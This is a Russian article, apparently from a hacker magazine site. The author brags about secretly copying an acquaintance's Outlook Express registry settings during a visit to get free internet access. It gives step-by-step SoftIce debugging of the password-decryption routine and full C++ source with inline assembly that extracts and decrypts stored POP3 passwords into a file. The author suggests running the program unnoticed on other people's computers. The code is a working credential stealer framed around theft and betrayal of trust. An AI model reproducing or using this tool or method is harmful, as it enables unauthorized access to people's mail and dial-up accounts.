В нашем маленьком городе
Хабаровске, да и наверное не только в нем
многие не очень умные, а также те кто мнит
себя Супер - Пупер - ХАКЕРОМ ставят пароли на
Dial-up таким же как и на почту при этом будучи
супер -крутыми они его сохраняют дабы долго
не вводить...

Так вот одним прекрасным деньком,
пришел я к такому Супер-Пупер-ХАКЕРУ
компьютер посмотреть, а он мне рассказывает
какой он крутой и что инета у него не меряно
и что он каждый день дефейсы делает (меня
позвал чтоб винду переставить %-)), и вообще
что круче него лишь Кевин а остальные по
сравнению с ним ламо-suxx- совое.

Настраивали мы ему почту и инет,
пароль длинный, но и на том, и на другом
одинаковый - и это хорошо сказал я себе.
Засунул дискету и скинул себе его ключик
реестра с настройками почты, а он наивный и
не догадывается.

Таким что либо объяснять - зря
время терять, а вот инета халявного хоца.
Чтобы там не говорили, но это же халява
идущая в руки.

Пришел домой загрузил тачку,
добавил его настройки себе спокойно
посмотрел его почту, но этого мало. А для
большего нужно знать не HASH, а пароль.
Помучив немного инет, но так ничего, не
найдя, меня посетило чувство глубокого
разочарования, пришлось идти за пивом потом
еще и еще в итоге медленно, но верно
приходит решение взломать Outlook.

При открытии окна пароль хоть и
высвечивается звездочками, но находится в
расшифрованном состоянии. А значит, где-то
на просторах памяти он находится в чистом и
красивом виде.

Запускаю Мыло. Выбираю Сервис->
Учетные записи свойства его почтового
акаунта и перехожу в SoftIce. Ставлю бреки на
функции вывода текста в текстовое поле.

Bpx SetDlgItemText
Bpx SetDlgItemTextA
Bpx SetDlgItemTextW

Выбираю вкладку Серверы и Bpx
SetDlgItemTextA кидает меня в окно SoftIce, оставляем
только Bpx SetDlgItemTextA, остальные удаляем.
Выходим из SetDlgItemTextA (P ret) смотрю входящие
параметры

LEA EAX,[EBP-0114]
PUSH EAX
PUSH 00000401
PUSH ESI
CALL [USER!GETDLGITEMTEXTA]

и оказывается что по адресу EBP-0114
находится слово "POP3". А оно нам до жути
знакомо ибо это первое что нас встречает на
вкладке свойств. Значится (верной дорогой
идете товарищи) смотрим что дает нам второе
прерывание (p ret)

LEA EAX,[EBP-0114]
PUSH EAX
PUSH 000007D5
PUSH ESI
CALL [USER!GETDLGITEMTEXTA]

Теперь в EBP-0114 находится
"ppp347850" это LOGIN еще чуть-чуть (p ret)

LEA EAX,[EBP-0114]
PUSH EAX
PUSH 000007D6
PUSH ESI
CALL [USER!GETDLGITEMTEXTA]

Все, можно допивать пиво - в EBP-0114
так красиво и в чистом виде лежит он, "выфджэцз",
то ради чего столько мучились!!!

Однако!

Не всегда есть возможность утянуть кусок реестра, но почти всегда можно не заметно запустить прогу и уйти. Но для этого нужно иметь то что запускать, так в чем же дело!
Берем SoftIce, зная что пароль генерируется между вторым и третьим бреками мы трассируем прогу до того
места, где находим нужный нам участок затем режем его,
делаем красивым и пишем оболочку.

Искать можно по разному, я решил создать дополнительный акаунт с паролем 111111 затем поставил Bpx SetDlgItemTextA 

Пропустил первое и второе прерывание, на третьем пароль уже расшифрован значит нахожу вызов предшествующий генерации брейка.
Далее трассирую функцию, а после вызываю поиск пароля S 0 l FFFFFFFF "111111".
Если после функции поле найдено и при этом находится в области переменных,
то есть старшие цифры адреса 00, то обнуляю предыдущие прерывания и ставлю брейк на этот вызов. Затем выхожу из SoftIce закрываю свойства, открываю
- генерируется прерывание опять поиск до тех пор пока не получу искомое. В моем случае это был адрес функции 167:7a0b9b3d

Затем переписываем функцию в программу и оформляем её (я воспользовался IDAPro). Вырезанный кусок я оформил в виде функции в программе на С++ Builder5 доработал чуток работу с реестром и получилась прога которая сама извлекает все данные из реестра дешифрует пароль и записывает в файл.

//------------------------------
#include <vcl.h>
#include <Registry.hpp>
//------------------------------
#include <stdio.h>
//------------------------------

заголовки для работы с реестром и файлами vcl

//------------------------------
void depass(char * Pass,long &num,char * Hash);
//------------------------------

заголовок функции дешифровки

//------------------------------
int main(int argc, char* argv[])
{
TRegistry *Reg = new TRegistry;
TStrings* Keys=new TStringList();
TStrings* Values=new TStringList();
Reg->RootKey=HKEY_CURRENT_USER;
AnsiString Key="Software\\Microsoft\\Internet Account Manager\\Accounts";
AnsiString Param;
TRegDataInfo Info;
char BinaryBuf[1024],Password[1024];

FILE * PassFile=fopen("passwd.txt","w+");

Объявление переменных и инициализация...

if(!Reg->OpenKey(Key,false)){
MessageBox(NULL,"Error","Key not found\nProgram will close",MB_OK);
return 0;
}

Проверяем ключ на существование

Reg->GetKeyNames(Keys);
Reg->CloseKey();
for(int i=0;iCount;i++){
Reg->OpenKey(Key+"\\"+Keys->Strings[i],false);
fprintf(PassFile,"%s\n",Keys->Strings[i].c_str());
Reg->GetValueNames(Values);
for(int k=0;kCount;k++){
fprintf(PassFile," %s",Values->Strings[k].c_str());
Reg->GetDataInfo(Values->Strings[k],Info);
switch(Info.RegData){
case rdString :
fprintf(PassFile,":string:%s\n",Reg->ReadString(Values->Strings[k]));
break;
case rdInteger:
fprintf(PassFile,":dword:%d\n",Reg->ReadInteger(Values->Strings[k]));
break;
case rdBinary:
Reg->ReadBinaryData(Values->Strings[k],BinaryBuf,Info.DataSize);
fprintf(PassFile,":Binary:");
for(int j=0;jStrings[k]=="POP3 Password2"){
int n=Info.DataSize+1;
depass(Password,n,BinaryBuf);
fprintf(PassFile,":pass:%s",Password);
}
fprintf(PassFile,"\n");
break;
}
}
Reg->CloseKey();
}
}
//------------------------------

считываем данные с реестра затем выводим их в файл в соответствии с типом при этом дешифруем пароль для чего вызываем подпрограмму и сохраняем в файл

//------------------------------
void depass(char *arg1,long & num,char * buf){
long p1,p2;
asm{
mov edi, [p1]
mov esi, [num]

mov eax,[arg1]
mov [esi+4], eax

mov edx, [buf]
mov ecx, [esi]
and [p1], 0
add edx, 6
shr ecx, 2
mov edi, 14151875h
jz short loc_0_7A0B9BAA
test ecx, ecx
jbe short loc_0_7A0B9BAA
mov [p2], eax

настраиваем переменные и регистры

loc_0_7A0B9B88:
mov eax, [p1]
shl eax, 2
mov ebx, [edx+eax]
xor ebx, edi
mov edi, [p2]
inc [p1]
cmp [p1], ecx
mov [eax+edi], ebx
mov edi, [esi+4]
mov [p2], edi
mov edi, [eax+edi]
jb short loc_0_7A0B9B88

loc_0_7A0B9BAA:

Цикл обработки по 4 байта, то есть берут 4 байта xor'ят их
с базовым 14151875h, результат сохраняют, потом xor с результатом и
т.д. До тех пор пока длинна не станет меньше 4.

mov ecx, [esi]
and ecx, 3
shl ecx, 3
mov [p2], ecx
jz short loc_0_7A0B9BED
mov eax, [p1]
mov ebx, [esi+4]
shl eax, 2
add ebx, eax
push 20h
mov [p1], ebx
or ebx, 0FFFFFFFFh
shl ebx, cl
mov ecx, [p1]
and [ecx], ebx
mov esi, [esi+4]
pop ecx
or ebx, 0FFFFFFFFh
sub ecx, [p2]
add esi, eax
mov eax, [edx+eax]
shr ebx, cl
shr edi, cl
mov [p1], ecx
and eax, ebx
xor eax, edi
or [esi], eax

loc_0_7A0B9BED: 
xor eax, eax
}
}
//------------------------------

Обработка оставшихся байт и есть выход. Насколько я понял их xor'ят с необходимым количеством FFh. 

Вот и все ;-). Если что не понятно пишите попытаюсь объяснить:
nikosias@mail.ru.

Исходник и программа в архиве

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии